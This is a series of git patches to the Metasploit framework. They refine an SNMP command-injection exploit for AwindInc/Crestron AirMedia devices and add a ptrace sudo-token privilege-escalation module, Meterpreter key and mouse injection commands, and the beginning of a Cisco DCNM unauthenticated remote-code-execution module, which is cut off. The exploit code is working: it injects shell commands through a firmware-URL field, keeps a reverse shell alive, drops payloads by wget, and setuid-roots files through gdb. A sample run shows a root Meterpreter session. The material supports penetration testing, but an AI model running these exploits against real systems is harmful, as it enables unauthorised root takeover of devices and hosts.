deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 431eca223b..5a4fc5adb2 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -151,10 +151,10 @@ class MetasploitModule < Msf::Exploit::Remote # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and # keep our reverse shell opened :) - cmd += "$(pkill -f /etc/reboot.sh)" + cmd << "$(pkill -f /etc/reboot.sh)" # the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad - cmd += "A" * (255-cmd.length) + cmd << "A" * (255-cmd.length) # we inject our payload in camFWUpgradeFTPURL print_status("Injecting payload") From fbaebc14be3d0dff23cf1ef5d1a6bb4feeecd028 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 10:45:17 +0100 Subject: [PATCH 006/217] Shrink to oneliner. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 5a4fc5adb2..a94122b06a 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -72,9 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s print_status("Target system is #{sys_description}") # AM-100 and AM-101 considered EOL, no fix so no need to check version. - if sys_description.include? "Crestron Electronics AM-100" or sys.description.include? "Crestron Electronics AM-101" - return Exploit::CheckCode::Vulnerable - end + return Exploit::CheckCode::Vulnerable if sys_description.include? "Crestron Electronics AM-100" or sys.description.include? "Crestron Electronics AM-101" # TODO: insert description check for other vulnerable models (that I don't have) # In the meantime, we return 'unknown'. rescue SNMP::RequestTimeout From 7794cc02348b6e07a95b63e937b744be1e273603 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 10:48:38 +0100 Subject: [PATCH 007/217] No need for parenthesis. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index a94122b06a..8bb51cc73e 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -161,6 +161,6 @@ class MetasploitModule < Msf::Exploit::Remote # we trigger the firmware download via FTP, which will end up calling this # "/bin/getRemoteURL.sh %s %s %s %d" print_status("Triggering call") - trigger() + trigger end end From 1a564a6f70b66cce7c08e5c7b68525775fb6b7b0 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 10:49:10 +0100 Subject: [PATCH 008/217] Uppercase words. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 8bb51cc73e..ce1e9c666b 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "AwindInc SNMP service command injection", + 'Name' => "AwindInc SNMP Service Command Injection", 'Description' => %q{ This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. A valid SNMP read-write community is required to exploit this vulnerability. From a9fcd13257c173d30273fb9d0bbede8e2d4e8494 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 10:53:07 +0100 Subject: [PATCH 009/217] Removed unnecessary includes. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index ce1e9c666b..9b6bfa7ca6 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'openssl' -require 'base64' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking From cbcc2f2088420f93b7f773544ad6797ebf382f1f Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 11:03:01 +0100 Subject: [PATCH 010/217] Moved to Cmdstager. --- .../exploits/linux/snmp/awind_snmp_exec.rb | 25 +++++++------------ 1 file changed, 9 insertions(+), 16 deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 9b6bfa7ca6..7102f005a1 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SNMPClient + include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, @@ -36,23 +37,11 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://github.com/QKaiser/awind-research'], ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/'] ], - 'Platform' => 'unix', + 'Platform' => 'linux', 'Targets' => [ [ 'Universal', {} ] ], + 'CmdStagerFlavor' => %w[wget], 'Privileged' => true, - 'DefaultOptions' => - { - 'SSL' => false, - 'PAYLOAD' => 'cmd/unix/reverse_openssl' - }, - 'Arch' => [ ARCH_CMD ], - 'Payload' => - { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'openssl' - } - }, + 'Arch' => [ ARCH_ARMLE ], 'DisclosureDate' => "Mar 27 2019", 'DefaultTarget' => 0)) @@ -139,9 +128,13 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit + execute_cmdstager + end + + def execute_command(cmd, opts = {}) # The payload must start with a valid FTP URI otherwise the injection point is not reached - cmd = "ftp://1.1.1.1/$(#{payload.encoded})" + cmd = "ftp://1.1.1.1/$(#{cmd.to_s})" # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and From 92e4393025b288c61e504c495be560bbcc0cc18a Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 11:09:39 +0100 Subject: [PATCH 011/217] Update documentation to reflect usage of CmdStager. --- .../exploit/linux/snmp/awind_snmp_exec.md | 58 ++++++++++--------- 1 file changed, 31 insertions(+), 27 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md index 5a618b9d51..f856f526fe 100644 --- a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md +++ b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md @@ -1,6 +1,6 @@ ## Description -This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. +This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to `ftpfw.sh` system command, leading to command injection. Note: a valid SNMP read-write community is required to exploit this vulnerability. @@ -16,20 +16,25 @@ The following devices are known to be affected by this issue: * Newline Trucast 2 <= version 2.1.0.5 * Newline Trucast 3 <= version 2.1.3.7 +Other devices might be affected by the same issue but lack of access to firmware forbids me from confirming that. See https://github.com/QKaiser/awind-research for full list of similar devices. -## Verification Steps +## Verification steps - 1. Start `msfconsole` - 2. Do: `use exploit/linux/snmp/awind_snmp_exec` - 3. Do: `set RHOST [IP]` - 4. Do: `set LHOST [IP]` - 5. Do: `run` - 6. You should get a session +1. Start `msfconsole` +2. Do: `use exploit/linux/snmp/awind_snmp_exec` +3. Do: `set payload linux/armle/meterpreter/reverse_tcp` +4. Do: `set RHOST [IP]` +5. Do: `set LHOST [IP]` +6. Do: `run` -## Scenarios +You should get a session. -``` +## Sample run + +`` msf5 > use exploit/linux/snmp/awind_snmp_exec +msf5 exploit(linux/snmp/awind_snmp_exec) > set payload linux/armle/meterpreter/reverse_tcp +payload => linux/armle/meterpreter/reverse_tcp msf5 exploit(linux/snmp/awind_snmp_exec) > set RHOSTS 192.168.100.2 RHOSTS => 192.168.100.2 msf5 exploit(linux/snmp/awind_snmp_exec) > set LHOST 192.168.100.1 @@ -40,28 +45,27 @@ msf5 exploit(linux/snmp/awind_snmp_exec) > check [+] 192.168.100.2:161 The target is vulnerable. msf5 exploit(linux/snmp/awind_snmp_exec) > run -[*] Started reverse double SSL handler on 192.168.100.1:4444 +[*] Started reverse TCP handler on 192.168.100.1:4444 +[*] Using URL: http://0.0.0.0:8080/u70HALC +[*] Local IP: http://192.168.1.10:8080/u70HALC [*] Injecting payload [*] Injection successful [*] Triggering call [*] Trigger successful -[*] Accepted the first client connection... -[*] Accepted the second client connection... -[*] Command: echo LFNuuQAgrHrq1aq6; -[*] Writing to socket A -[*] Writing to socket B -[*] Reading from sockets... -[*] Reading from socket B -[*] B: "LFNuuQAgrHrq1aq6\n" -[*] Matching... -[*] A is input... -[*] Command shell session 1 opened (192.168.100.1:4444 -> 192.168.100.2:35189) at 2019-03-27 14:09:54 +0100 +[*] Client 192.168.100.2 (Wget) requested /u70HALC +[*] Sending payload to 192.168.100.2 (Wget) +[*] Sending stage (806872 bytes) to 192.168.100.2 +[*] Command Stager progress - 100.00% done (113/113 bytes) +[*] Meterpreter session 2 opened (192.168.100.1:4444 -> 192.168.100.2:38009) at 2019-03-28 11:01:41 +0100 +[*] Server stopped. -id -uid=0(root) gid=0(root) -uname -avr -Linux Crestron.AirMedia-1.1.wm8750 2.6.32.9-default #7 Thu Apr 2 16:50:50 CST 2015 armv6l GNU/Linux -``` +meterpreter > sysinfo +Computer : Crestron.AirMedia-1.1.wm8750 +OS : (Linux 2.6.32.9-default) +Architecture : armv6l +BuildTuple : armv5l-linux-musleabi +Meterpreter : armle/linux +`` ## References From 8ec5a124b4e023deb051049dedc8dba366b7bccc Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 15:59:22 +0100 Subject: [PATCH 012/217] Follow @bcoles recommendations for 'check' function. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 7102f005a1..d629ae983a 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -58,9 +58,15 @@ class MetasploitModule < Msf::Exploit::Remote sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s print_status("Target system is #{sys_description}") # AM-100 and AM-101 considered EOL, no fix so no need to check version. - return Exploit::CheckCode::Vulnerable if sys_description.include? "Crestron Electronics AM-100" or sys.description.include? "Crestron Electronics AM-101" - # TODO: insert description check for other vulnerable models (that I don't have) - # In the meantime, we return 'unknown'. + model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first + case model + when 'AM-100', 'AM-101' + return CheckCode::Vulnerable + else + # TODO: insert description check for other vulnerable models (that I don't have) + # In the meantime, we return 'safe'. + return CheckCode::Safe + end rescue SNMP::RequestTimeout print_error("#{ip} SNMP request timeout.") rescue Rex::ConnectionError From e2101c79316a6f99a9b20714c02d13d13b5e0f1b Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 19:50:26 +0100 Subject: [PATCH 013/217] Fix module so it supports both ARCH_CMD and ARCH_ARMLE. --- .../exploits/linux/snmp/awind_snmp_exec.rb | 34 +++++++++++++++---- 1 file changed, 27 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index d629ae983a..dc8f387688 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -37,13 +37,28 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://github.com/QKaiser/awind-research'], ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/'] ], - 'Platform' => 'linux', - 'Targets' => [ [ 'Universal', {} ] ], - 'CmdStagerFlavor' => %w[wget], - 'Privileged' => true, - 'Arch' => [ ARCH_ARMLE ], 'DisclosureDate' => "Mar 27 2019", - 'DefaultTarget' => 0)) + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_ARMLE], + 'Privileged' => true, + 'Targets' => [ + ['Unix In-Memory', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'} + } + ], + ['Linux Dropper', + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'CmdStagerFlavor' => %w[wget], + 'Type' => :linux_dropper + ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'})) register_options( [ @@ -134,7 +149,12 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - execute_cmdstager + case target['Type'] + when :unix_memory + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end end def execute_command(cmd, opts = {}) From f11ce8635f0452ffc94844f94a00d07589ed27bf Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 30 Apr 2019 21:54:18 +0000 Subject: [PATCH 014/217] Add ptrace Sudo Token Privilege Escalation module --- .../linux/local/ptrace_sudo_token_priv_esc.rb | 171 ++++++++++++++++++ 1 file changed, 171 insertions(+) create mode 100644 modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb diff --git a/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb b/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb new file mode 100644 index 0000000000..43924ed10c --- /dev/null +++ b/modules/exploits/linux/local/ptrace_sudo_token_priv_esc.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Kernel + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ptrace Sudo Token Privilege Escalation', + 'Description' => %q{ + This module attempts to gain root privileges by blindly injecting + into shell processes and executing commands using any valid sudo + tokens. + + The system must have gdb installed and permit ptrace. + + This module has been tested successfully on Debian 9.8 (x64). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'chaignc', # sudo_inject + 'bcoles' # Metasploit + ], + 'DisclosureDate' => '2019-03-24', + 'References' => + [ + ['URL', 'https://github.com/nongiach/sudo_inject'], + ['URL', 'https://www.kernel.org/doc/Documentation/security/Yama.txt'], + ['URL', 'http://man7.org/linux/man-pages/man2/ptrace.2.html'], + ['URL', 'https://lwn.net/Articles/393012/'], + ['URL', 'https://lwn.net/Articles/492667/'], + ['URL', 'https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/'], + ['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html'] + ], + 'Platform' => ['linux'], + 'Arch' => + [ + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Targets' => [['Auto', {}]], + 'DefaultOptions' => + { + 'PrependSetresuid' => true, + 'PrependSetresgid' => true, + 'PrependFork' => true, + 'WfsDelay' => 30 + }, + 'DefaultTarget' => 0)) + register_options [ + OptInt.new('TIMEOUT', [true, 'Timeout (seconds)', '60']) + ] + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def timeout + datastore['TIMEOUT'] + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def check + if yama_enabled? + vprint_error 'YAMA ptrace scope is restrictive' + return CheckCode::Safe + end + vprint_good 'YAMA ptrace scope is not restrictive' + + unless command_exists? 'sudo' + vprint_error 'sudo is not installed' + return CheckCode::Safe + end + vprint_good 'sudo is installed' + + unless command_exists? 'gdb' + vprint_error 'gdb is not installed' + return CheckCode::Safe + end + vprint_good 'gdb is installed' + + CheckCode::Detected + end + + def exploit + unless check == CheckCode::Detected + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + if is_root? + unless datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + end + + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + @payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}" + upload @payload_path, generate_payload_exe + + print_status "Creating root shell #{@payload_path} ..." + + #shell_processes = cmd_exec('pgrep \'^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$\' -u "$(id -u)" | grep -v "^$$\$"').to_s.split("\n") + #print_status "Found #{shell_processes.length} shell processes" + + sudo_inject = <<-EOF + for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" | grep -v "^$$\$") + do + echo "Injecting process $pid -> "$(cat "/proc/$pid/comm") + echo 'call system("echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod +x #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod u+s #{@payload_path} >/dev/null 2>&1")' \ + | gdb -q -n -p "$pid" >/dev/null 2>&1 + done + EOF + + res = cmd_exec sudo_inject, nil, timeout + vprint_line res + + unless setuid? @payload_path + fail_with Failure::Unknown, 'Failed to create setuid root shell' + end + print_good "#{@payload_path} setuid root successfully" + + print_status 'Executing payload...' + res = cmd_exec "#{@payload_path} &" + vprint_line res + end + + def on_new_session(session) + print_status "Removing #{payload_path} ..." + if session.type.eql? 'meterpreter' + session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' + session.fs.file.rm @payload_path + else + session.shell_command_token "rm -f '#{@payload_path}'" + end + ensure + super + end +end From 48d29e532e0feab8ded9d2efd8d879a33122e488 Mon Sep 17 00:00:00 2001 From: Tim W Date: Mon, 17 Jun 2019 12:10:32 +0800 Subject: [PATCH 015/217] add keyevent api --- .../post/meterpreter/extensions/stdapi/tlv.rb | 1 + .../post/meterpreter/extensions/stdapi/ui.rb | 11 ++++++++ .../console/command_dispatcher/stdapi/ui.rb | 27 +++++++++++++++++++ 3 files changed, 39 insertions(+) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index 9cf7d12dc5..a6e16e3b35 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -211,6 +211,7 @@ TLV_TYPE_KEYS_SEND = TLV_META_TYPE_STRING | 3014 TLV_TYPE_MOUSE_ACTION = TLV_META_TYPE_UINT | 3015 TLV_TYPE_MOUSE_X = TLV_META_TYPE_UINT | 3016 TLV_TYPE_MOUSE_Y = TLV_META_TYPE_UINT | 3017 +TLV_TYPE_KEYEVENT_SEND = TLV_META_TYPE_RAW | 3018 ## # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index 3788ce3f87..17a31f7a0b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -244,6 +244,17 @@ class UI < Rex::Post::UI return true end + # + # Send key events + # + def keyevent_send(key_code, action = 0) + key_data = [ action, key_code ].pack("VV") + request = Packet.create_request('stdapi_ui_send_keyevent') + request.add_tlv( TLV_TYPE_KEYEVENT_SEND, key_data ) + response = client.send_request(request) + return true + end + # # Mouse input # diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb index 09049d2006..1fdaa4a332 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb @@ -30,6 +30,7 @@ class Console::CommandDispatcher::Stdapi::Ui "keyscan_start" => "Start capturing keystrokes", "keyscan_stop" => "Stop capturing keystrokes", "keyboard_send" => "Send keystrokes", + "keyevent" => "Send key events", "mouse" => "Send mouse events", "screenshot" => "Grab a screenshot of the interactive desktop", "screenshare" => "Watch the remote user's desktop in real time", @@ -46,6 +47,7 @@ class Console::CommandDispatcher::Stdapi::Ui "keyscan_dump" => [ "stdapi_ui_get_keys_utf8" ], "keyscan_start" => [ "stdapi_ui_start_keyscan" ], "keyscan_stop" => [ "stdapi_ui_stop_keyscan" ], + "keyevent" => [ "stdapi_ui_send_keyevent" ], "keyboard_send" => [ "stdapi_ui_send_keys" ], "mouse" => [ "stdapi_ui_send_mouse" ], "screenshot" => [ "stdapi_ui_desktop_screenshot" ], @@ -442,6 +444,31 @@ class Console::CommandDispatcher::Stdapi::Ui print_status('Done') end + # + # Send key events + # + def cmd_keyevent(*args) + action = 0 + if args.length == 1 + keycode = args[0].to_i + elsif args.length == 2 + keycode = args[0].to_i + if args[1] == 'down' + action = 1 + elsif args[1] == 'up' + action = 2 + end + else + print_line("Usage: keyevent keycode [action] (press, up, down)") + print_line(" e.g: keyevent 13 press (send the enter key)") + print_line(" kevevent 17 down (control key down)\n") + return + end + + client.ui.keyevent_send(keycode, action) + print_status('Done') + end + # # Send mouse events # From 809a990ab89f0574cd4a8b764a16aeca90551a98 Mon Sep 17 00:00:00 2001 From: Tim W Date: Thu, 20 Jun 2019 15:21:41 +0800 Subject: [PATCH 016/217] add mouse doubleclick --- lib/rex/post/meterpreter/extensions/stdapi/ui.rb | 2 ++ .../post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index 17a31f7a0b..5a94a963ab 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -276,6 +276,8 @@ class UI < Rex::Post::UI action = 5 when "rightup" action = 6 + when "doubleclick" + action = 7 else action = mouseaction.to_i end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb index 1fdaa4a332..41dfae6f9f 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb @@ -480,7 +480,7 @@ class Console::CommandDispatcher::Stdapi::Ui elsif args.length == 3 client.ui.mouse(args[0], args[1], args[2]) else - print_line("Usage: mouse action (move, click, up, down, rightclick, rightup, rightdown)") + print_line("Usage: mouse action (move, click, up, down, rightclick, rightup, rightdown, doubleclick)") print_line(" mouse [x] [y] (click)") print_line(" mouse [action] [x] [y]") print_line(" e.g: mouse click") From 5ca41637652fef62ded9b88c625b156a083109e3 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 25 Jun 2019 20:50:09 +0200 Subject: [PATCH 017/217] Fix documentation markup and titles. --- documentation/modules/exploit/linux/snmp/awind_snmp_exec.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md index f856f526fe..ac2c0bee5a 100644 --- a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md +++ b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md @@ -29,9 +29,9 @@ Other devices might be affected by the same issue but lack of access to firmware You should get a session. -## Sample run +## Scenarios -`` +``` msf5 > use exploit/linux/snmp/awind_snmp_exec msf5 exploit(linux/snmp/awind_snmp_exec) > set payload linux/armle/meterpreter/reverse_tcp payload => linux/armle/meterpreter/reverse_tcp @@ -65,7 +65,7 @@ OS : (Linux 2.6.32.9-default) Architecture : armv6l BuildTuple : armv5l-linux-musleabi Meterpreter : armle/linux -`` +``` ## References From 94dd2b1800b5ca1a2b6e0c7319ef35d9bf694663 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 25 Jun 2019 20:50:56 +0200 Subject: [PATCH 018/217] Fix disclosure date format. Co-Authored-By: @shellfail --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index dc8f387688..6e77f32f84 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://github.com/QKaiser/awind-research'], ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/'] ], - 'DisclosureDate' => "Mar 27 2019", + 'DisclosureDate' => '2019-03-27', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'Privileged' => true, From a33a981cddb1e69c79d8f6257c2f4d2ea3b346a1 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Sat, 6 Jul 2019 22:51:42 +0800 Subject: [PATCH 019/217] Add exploit for CVE-2019-1619 --- cisco_dcnm_upload_2019.rb | 294 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 294 insertions(+) create mode 100644 cisco_dcnm_upload_2019.rb diff --git a/cisco_dcnm_upload_2019.rb b/cisco_dcnm_upload_2019.rb new file mode 100644 index 0000000000..3599995e9a --- /dev/null +++ b/cisco_dcnm_upload_2019.rb @@ -0,0 +1,294 @@ + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# Tested on : +# Linux/VA 10.4.2 OK +# Linux/VA 11.0.1 OK +# Linux/VA 11.1.1 OK + +require 'zip' +require 'tempfile' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution', + 'Description' => %q{ + DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. + An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps + directory and achieve remote code execution as root. + This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on + versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct + directory for the WAR file upload. + This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should + work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit + (see References to understand why). + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2019-1619' ], # auth bypass + [ 'CVE', '2019-1620' ], # file upload + [ 'CVE', '2019-1622' ], # log download + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], + [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ], + [ 'URL', 'FULLDISC' ] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'Cisco DCNM 11.1(1)', {} + ], + [ + 'Cisco DCNM 11.0(1)', {} + ], + [ + 'Cisco DCNM 10.4(2)', {} + ] + ], + 'Privileged' => true, + 'DefaultOptions' => { 'WfsDelay' => 10 }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 26 2019' + )) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 443]), + OptBool.new('SSL', [true, 'Connect with TLS', true]), + OptString.new('TARGETURI', [ true, "Default server path", '/']), + OptString.new('USERNAME', [ true, "Username for auth (required only for 11.0(1) and above", 'admin']), + OptString.new('PASSWORD', [ true, "Password for auth (required only for 11.0(1) and above", 'admin']), + ]) + end + + + def check + # at the moment this is 